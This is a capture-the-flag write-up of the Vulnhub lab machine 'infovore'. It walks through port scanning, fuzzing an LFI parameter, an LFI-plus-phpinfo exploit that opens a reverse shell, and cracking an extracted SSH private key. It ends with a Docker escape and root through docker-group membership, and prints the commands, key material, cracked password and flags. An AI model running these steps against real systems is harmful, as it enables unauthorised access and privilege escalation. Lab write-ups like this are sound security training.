Vulnhub - infovore

Hi all, i pwned this box long time ago but i totally forgot to do a writeup haha ! :D It is a really interesting box, let’s start!

You can find the machine there > infovore

Enumeration/Reconnaissance

Let’s start always with nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ip=192.168.1.8
$ nmap -p- --min-rate 10000 $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-19 23:18 EEST
Nmap scan report for 192.168.1.8 (192.168.1.8)
Host is up (0.00043s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:01:83:20 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds
$ nmap -p 80 -sC -sV -oN nmap/initial $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-19 23:18 EEST
Nmap scan report for 192.168.1.8 (192.168.1.8)
Host is up (0.00043s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Include me ...
MAC Address: 00:0C:29:01:83:20 (VMware)

Let’s run a gobuster on it.

1
2
3
4
5
6
7
$ gobuster dir -q -u http://$ip/ -w $dir_medium -x php,txt,html -o gobuster.txt
/img (Status: 301)
/info.php (Status: 200)
/index.php (Status: 200)
/index.html (Status: 200)
/css (Status: 301)
/vendor (Status: 301)

Nothing interesting, i decided to do fuzz the parameter on index.php using wfuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ wfuzz -c -w $dir_medium --hw 382 http://$ip/index.php?FUZZ=/etc/passwd

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.8/index.php?FUZZ=/etc/passwd
Total requests: 220560

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                 
===================================================================

000025370:   200        26 L     33 W     1006 Ch     "filename"                      

LFI + phpinfo = RCE - shell as www-data

We have LFI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl -s http://$ip/index.php\?filename\=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Nothing interesting.. and LFI seems like it allows only /etc/passwd, after some google-fu i find out a really interesting tool LFI+phpinfo=RCE

We have LFI + phpinfo (info.php) let’s download & edit the exploit:

1
wget -q https://raw.githubusercontent.com/M4LV0/LFI-phpinfo-RCE/master/exploit.py

1) We have to add our ip & port for the reverse shell:

1
2
$ip = '127.0.0.1';  // CHANGE THIS
$port = 3333;       // CHANGE THIS

2) We have to edit this:

1
POST /phpinfo.php?a= -> POST /info.php?a=

3) And finally this to add our LFI parameter:

1
GET /index.php?lfi= -> GET /index.php?filename=

Save & close and execute it:

1
2
3
4
5
6
7
8
9
10
$ python exploit.py $ip 80
LFI With PHPInfo()
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Getting initial offset... found [tmp_name] at 98082
Spawning worker pool (10)...

Got it! Shell created in /tmp/g

Woot!  \m/
Shuttin' down...

We have shell!

1
2
3
4
$ nc -lvp 5555
listening on [any] 5555 ...
$ bash -i
www-data@e71b67461f6c:/$ 

www-data -> root

Now we’re into a docker container, i’ll show you some ways to understand if you’re inside a docker container.

An easy way to understand is from the container ID on the command prompt -> www-data@e71b67461f6c

Another way is under root directory you can see this:

1
2
3
drwxr-xr-x 74 root root   4096 Jun 23 10:59 .
drwxr-xr-x 74 root root   4096 Jun 23 10:59 ..
-rwxr-xr-x  1 root root      0 Jun 22 22:39 .dockerenv

.dockerenv contains the environment variables.

And the last way is by cgroup (control groups):

1
2
3
4
5
6
7
8
9
www-data@e71b67461f6c:/$ cat /proc/1/cgroup
8:perf_event:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7
7:blkio:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7
6:net_cls,net_prio:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7
5:freezer:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7
4:devices:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7
3:cpu,cpuacct:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7
2:cpuset:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7
1:name=systemd:/docker/e71b67461f6c0078a9d7d25a70c0c303b81f0fa20a9a5fab4e51c098d575c0a7

Let’s continue. Under root directory we can see .tgz file, let’s extract it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@e71b67461f6c:/$ tar -xvf .oldkeys.tgz -C /tmp
root
root.pub
www-data@e71b67461f6c:/$ cat /tmp/root
cat /tmp/root
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2037F380706D4511A1E8D114860D9A0E

ds7T1dLfxm7o0NC93POQLLjptTjMMFVJ4qxNlO2Xt+rBqgAG7YQBy6Tpj2Z2VxZb
uyMe0vMyIpN9jNFeOFbL42RYrMV0V50VTd/s7pYqrp8hHYWdX0+mMfKfoG8UaqWy
gBdYisUpRpmyVwG1zQQF1Tl7EnEWkH1EW6LOA9hGg6DrotcqWHiofiuNdymPtlN+
it/uUVfSli+BNRqzGsN01creG0g9PL6TfS0qNTkmeYpWxt7Y+/R+3pyaTBHG8hEe
zZcX24qvW1KY2ArpSSKYlXZw+BwR5CLk6S/9UlW4Gls9YRK7Jl4mzBGdtpP85a/p
fLowmWKRmqCw2EH87mZUKYaf02w1jbVWyjXOy8SwNCNr87zJstQpmgOISUc7Cknq
JEpv1kzXEVJCfeeA1163du4RFfETFauxALtKLylAqMs4bqcOJm1NVuHAmJdz4+VT
GRSmO/+B+LNLiGJm9/7aVFGi95kuoxFstIkG3HWVodYLE/FUbVqOjqsIBJxoK3rB
t75Yskdgr3QU9vkEGTZWbI3lYNrF0mDTiqNHKjsoiekhSaUBM80nAdEfHzSs2ySW
EQDd4Hf9/Ln3w5FThvUf+g==
-----END DSA PRIVATE KEY-----

Let’s crack it.

1
2
3
4
5
6
$ /usr/share/john/ssh2john.py key > hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
choclate93       (key)

Now we can login as root, we will do a trick here to spawn a PTY (pseudo-terminal):

1
2
3
4
5
6
www-data@e71b67461f6c:/$ su -P - root
Password: choclate93
root@e71b67461f6c:~# cat root.txt
FLAG{Congrats_on_owning_phpinfo_hope_you_enjoyed_it}

And onwards and upwards!

We’re not done yet! :)

Escaping the dockerland - admin -> root

Now we have to escape the docker and jump to the main host. We can see under .ssh a ssh private/public key. Public key provide us a username/IP.

1
2
root@e71b67461f6c:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAA...YdbVh admin@192.168.150.1

Let’s connect to main host:

1
2
3
4
5
6
7
root@e71b67461f6c:~/.ssh# ssh -i id_rsa admin@192.168.150.1
Enter passphrase for key 'id_rsa': choclate93

admin@infovore:~$ ls 
admin.txt
admin@infovore:~$ cat admin.txt
FLAG{Escaped_from_D0ck3r}

Here we go now privesc to root is simple, user admin is in docker group let’s run this and get root shell:

1
2
admin@infovore:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin),999(docker)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
admin@infovore:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
a4a2a29f9ba4: Pull complete 
127c9761dcba: Pull complete 
d13bf203e905: Pull complete 
4039240d2e0b: Pull complete 
16a91ffa6f29: Pull complete 
Digest: sha256:eb6be3ee1f9b2fd6e3ae6d4fda81a80bfdf21aad9bde6f1a5234f1baa58d4bb3
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
 _____                             _       _                                              
/  __ \                           | |     | |                                             
| /  \/ ___  _ __   __ _ _ __ __ _| |_ ___| |                                             
| |    / _ \| '_ \ / _` | '__/ _` | __/ __| |                                             
| \__/\ (_) | | | | (_| | | | (_| | |_\__ \_|                                             
 \____/\___/|_| |_|\__, |_|  \__,_|\__|___(_)                                             
                    __/ |                                                                 
                   |___/                                                                  
__   __                                         _   _        __                         _ 
\ \ / /                                        | | (_)      / _|                       | |
 \ V /___  _   _   _ ____      ___ __   ___  __| |  _ _ __ | |_ _____   _____  _ __ ___| |
  \ // _ \| | | | | '_ \ \ /\ / / '_ \ / _ \/ _` | | | '_ \|  _/ _ \ \ / / _ \| '__/ _ \ |
  | | (_) | |_| | | |_) \ V  V /| | | |  __/ (_| | | | | | | || (_) \ V / (_) | | |  __/_|
  \_/\___/ \__,_| | .__/ \_/\_/ |_| |_|\___|\__,_| |_|_| |_|_| \___/ \_/ \___/|_|  \___(_)
                  | |                                                                     
                  |_|                                                                     
 
FLAG{And_now_You_are_done}

@theart42 and @4nqr34z

That was an awesome box! :D